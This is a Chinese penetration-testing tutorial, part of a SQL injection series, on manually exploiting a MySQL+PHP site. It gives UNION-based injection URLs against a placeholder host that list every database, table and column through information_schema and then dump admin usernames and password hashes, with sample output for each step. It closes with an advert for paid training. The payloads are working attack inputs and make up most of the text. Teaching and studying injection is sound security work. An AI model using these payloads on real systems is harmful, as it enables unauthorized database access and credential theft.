[原创]WEB安全第四章SQL注入篇05 mysql+php 手工注入篇 爆库 爆表 爆字段
【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。
[原创]WEB安全第四章SQL注入篇05 mysql+php 手工注入篇 爆库 爆表 爆字段
在上面一章mysql+php手工注入篇 在最后用到的一个函数 group_concat()可以将查询的字段的数据查询出来
可以用利这个函数 将mysql所有的库名查询出来
1、查询所有的库
http://target_sys.com/article.php?id=-1 union select 1,2,SCHEMA_NAME from information_schema.SCHEMATA limit 0,1
http://target_sys.com/article.php?id=-1 union select 1,2,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA
information_schema,blogs,mysql,performance_schema,target_sys,test,wordpress
2、查询库里所有的表
http://target_sys.com/article.php?id=-1 union select 1,2,group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()
admin,article,moon_range,users
3、查询表里所有的字段
http://target_sys.com/article.php?id=-1 union select 1,2,group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e
id,username,password
4、查询数据
http://target_sys.com/article.php?id=-1 union select 1,2,group_concat(username,0x3a,password) from admin
admin:e10adc3949ba59abbe56e057f20f883e
5、查询失败的原因
这种方面不是通用的,有时候 查询不全 这个原因是字段的大小问题。解决办法 换一个字段查询,或者 用函数查询长度再用字符串函数截取。这种方法将会在下面介绍。
![[原创]WEB安全第四章SQL注入篇05 mysql+php 手工注入篇 爆库 爆表 爆字段](https://www.moonsec.com/wp-content/themes/justnews/themer/assets/images/lazy.png)
原创文章,作者:mOon,如若转载,请注明出处:https://www.moonsec.com/167.html